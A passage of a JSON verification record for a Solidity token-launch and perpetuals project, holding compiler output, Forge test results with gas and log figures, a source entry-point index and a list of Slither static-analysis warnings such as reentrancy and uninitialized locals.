    |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | strangerCheckpoint | 82    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | warp               | 73    | 0       | 0        |\n╰---------------+--------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 4386\n  Bound result 2\n  Bound result 2616616030\n  Bound result 574\n  Bound result 999900000000001251\n  Bound result 11000000000000000\n  Bound result 4949\n  Bound result 1737\n  Bound result 2\n  Bound result 120010840914118846685661712654\n  Bound result 999900000000000234\n  Bound result 2\n  Bound result 20000000000000000000\n  Bound result 3345\n  Bound result 23\n  Bound result 999900000000012208\n  Bound result 999900001427544210\n  Bound result 12\n  Bound result 999900000000007161\n  Bound result 100187015835285015888969469\n  Bound result -529347945\n  Bound result 4839\n  Bound result 7685\n  Bound result -1000000000000000000\n  Bound result 0\n  Bound result 97483\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 636.16ms (581.31ms CPU time)\n\nRan 8 test suites in 641.28ms (1.39s CPU time): 77 tests passed, 0 failed, 0 skipped (77 total tests)\n","passed":true},{"durationMs":69,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":89,\"README.md\":149,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":432,\"src/IMD6900RobinhoodLaunch.sol\":559,\"src/perps/PerpEngine.sol\":1160,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/Edges.t.sol\":305,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1192,\"test/LaunchInvariants.t.sol\":562,\"test/Perps.t.sol\":400,\"test/PerpsInvariants.t.sol\":446,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0541423799bd86b2f657b0d01856de67e78f7d896a22bed6d8ec2d9823dab231","verifiedTreeHash":"6ead88b7a4381880fb3d7c8b3126b6d6c8a8f79c","verifierVersion":"0.1.0+172610c0"},{"checks":[{"durationMs":32297,"exitCode":0,"name":"build","output":"Compiling 93 files with Solc 0.8.26\nSolc 0.8.26 finished in 32.18s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:349:5:\n    |\n349 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":285,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 262.96µs (23.62µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 24462550)\nLogs:\n  factory CREATE2 gas: 7911389\n  factory CREATE2 gas: 7890432\n  factory CREATE2 gas: 7890475\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.78ms (1.63ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 334108, ~: 246083)\nLogs:\n  Bound result 6\n  Bound result 121\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.62ms (5.53ms CPU time)\n\nRan 49 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4578146)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 2974403)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257419)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459342)\n[PASS] test_ClaimsOneForOne() (gas: 1577695)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208606)\n[PASS] test_DeploysOnAFreshChain() (gas: 6539537)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4477839)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2334648)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1298711)\n[PASS] test_FitsOneTransaction() (gas: 12403897)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 7902586\n  createHook gas: 1266563\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1839822)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1428613)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1306704)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298298)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2199161)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1968311)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2078761)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2092702)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 178855)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1969126)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1296413)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 68011)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 91583)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117797)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1795330)\n[PASS] test_PassesTheAdmissionScan() (gas: 15219021)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1449439)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702339)\n[PASS] test_RefusesTheWrongAddress() (gas: 709786)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2810099)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2591850)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2810945)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2592224)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273327)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1214922)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800436)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1231924)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295306)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2782609)\n[PASS] test_TheFeeIsStatic() (gas: 1581495)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5721750)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343577)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21834)\n[PASS] test_TheLiquidityIsLocked() (gas: 2153898)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311326)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2202803)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1647165)\n[PASS] test_TradesBothWays() (gas: 1553880)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 88.35ms (135.07ms CPU time)\n\nRan 13 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1067799)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1854350)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1893178)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1210470)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1472974)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 658313)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120171)\n[PASS] test_PerpFeesReachThePot() (gas: 703185)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14353376)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145026)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61399605)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14690558)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2370657)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 175.76ms (183.87ms CPU time)\n\nRan 5 test suites in 177.23ms (271.78ms CPU time): 66 tests passed, 0 failed, 0 skipped (66 total tests)\n","passed":true},{"durationMs":56,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":89,\"README.md\":149,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":432,\"src/IMD6900RobinhoodLaunch.sol\":559,\"src/perps/PerpEngine.sol\":1160,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1192,\"test/Perps.t.sol\":400,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":16374,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900LockedPool.sol:385: IMD6900LockedPool._payOutHeld() (src/IMD6900LockedPool.sol#385-395) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/perps/PerpEngine.sol:948: PerpEngine._sendEth(address,uint256) (src/perps/PerpEngine.sol#948-952) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) sends eth to arbitrary user\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:406: Reentrancy in PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#406-429):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:520: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#520-606):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:520: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#520-606):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpVault.sol:253: Reentrancy in PerpVault.depositEth() (src/perps/PerpVault.sol#253-281):\n[high/medium] reentrancy-eth at src/IMD6900RobinhoodLaunch.sol:460: Reentrancy in IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476):\n[medium/medium] divide-before-multiply at src/perps/PerpEngine.sol:712: PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:365: IMD6900RobinhoodLaunch.recoverEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#365-372) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpSwapLib.sol:249: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32) (src/perps/PerpSwapLib.sol#249-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:362: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#362-375) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:917: PerpEngine._routeFee(uint256,bool) (src/perps/PerpEngine.sol#917-935) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:275: IMD6900RobinhoodLaunch.withdrawEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#275-281) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:939: PerpEngine._payOut(address,uint256) (src/perps/PerpEngine.sol#939-946) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:362: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#362-375) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:289: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#289-319) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:187: Reentrancy in IMD6900RobinhoodLaunch.createHook(bytes32) (src/IMD6900RobinhoodLaunch.sol#187-202):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:299: Reentrancy in PerpVault.withdrawEth(uint256) (src/perps/PerpVault.sol#299-319):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:486: Reentrancy in PerpVault.claimPendingEth() (src/perps/PerpVault.sol#486-506):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:403: Reentrancy in IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address) (src/IMD6900RobinhoodLaunch.sol#403-413):\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:531: PerpEngine._doSweep(address,bool,int256,bool,uint160).pendingIds (src/perps/PerpEngine.sol#531) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:540: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundQuote (src/perps/PerpSwapLib.sol#540) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:541: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundTok (src/perps/PerpSwapLib.sol#541) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:163: PerpSwapLib.projectedSqrtPriceX96(uint160,uint256,uint256,int256,bool,uint160).amountIn (src/perps/PerpSwapLib.sol#163) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:284: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32).lo (src/perps/PerpSwapLib.sol#284) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:352: IMD6900RobinhoodLaunch.setPayees(address[],uint16[]).sum (src/IMD6900RobinhoodLaunch.sol#352) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:571: PerpEngine._doSweep(address,bool,int256,bool,uint160).condemnedRemains (src/perps/PerpEngine.sol#571) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:570: PerpEngine._doSweep(address,bool,int256,bool,uint160).killedAny (src/perps/PerpEngine.sol#570) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:518: IMD6900RobinhoodLaunch.unlockCallback(bytes).sold (src/IMD6900RobinhoodLaunch.sol#518) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:919: PerpEngine._routeFee(uint256,bool).toVault (src/perps/PerpEngine.sol#919) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:517: IMD6900RobinhoodLaunch.unlockCallback(bytes).ethOut (src/IMD6900RobinhoodLaunch.sol#517) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:920: PerpEngine._routeFee(uint256,bool).toIns (src/perps/PerpEngine.sol#920) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpVault.sol:816: PerpVault.pendingTokYield(address).earned (src/perps/PerpVault.sol#816) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:536: PerpEngine._doSweep(address,bool,int256,bool,uint160).scanned (src/perps/PerpEngine.sol#536) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:568: PerpEngine._doSweep(address,bool,int256,bool,uint160).clean (src/perps/PerpEngine.sol#568) is a local variable never 